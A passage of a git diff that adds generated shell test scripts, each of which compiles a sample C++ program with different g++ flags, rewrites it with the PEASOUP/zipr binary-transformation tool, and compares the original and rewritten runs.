+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.-fPIC.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.-fPIC.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..4c24d6e79f655e2382ba49b5ae7d9b70cc7f8491
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.-fPIC.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O2 -fPIC     -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O2 -fPIC     -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.-fPIC.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.-fPIC.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..fef5c13df68f61a1ba087e8f22d0c8fdeb7e2906
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.-fPIC.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O2 -fPIC     -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O2 -fPIC     -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.no_pic.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.no_pic.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..a0ceeb5531cdfa1e134a3e978306e2cea50fc56f
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.no_pic.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O2   -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O2   -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.no_pic.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.no_pic.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..969325d7e9d715d15160a52224978b7ed43b701e
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.no_pic.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O2   -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O2   -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.no_pic.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..c7cb03710327dc80c2c8118289fc6bdf68f0967d
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O2   -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O2   -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.no_pic.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..2096548be17b348129ce58b9ebd34942199033ba
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.zipr.startfile.-O2.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="  -O2   -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="  -O2   -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
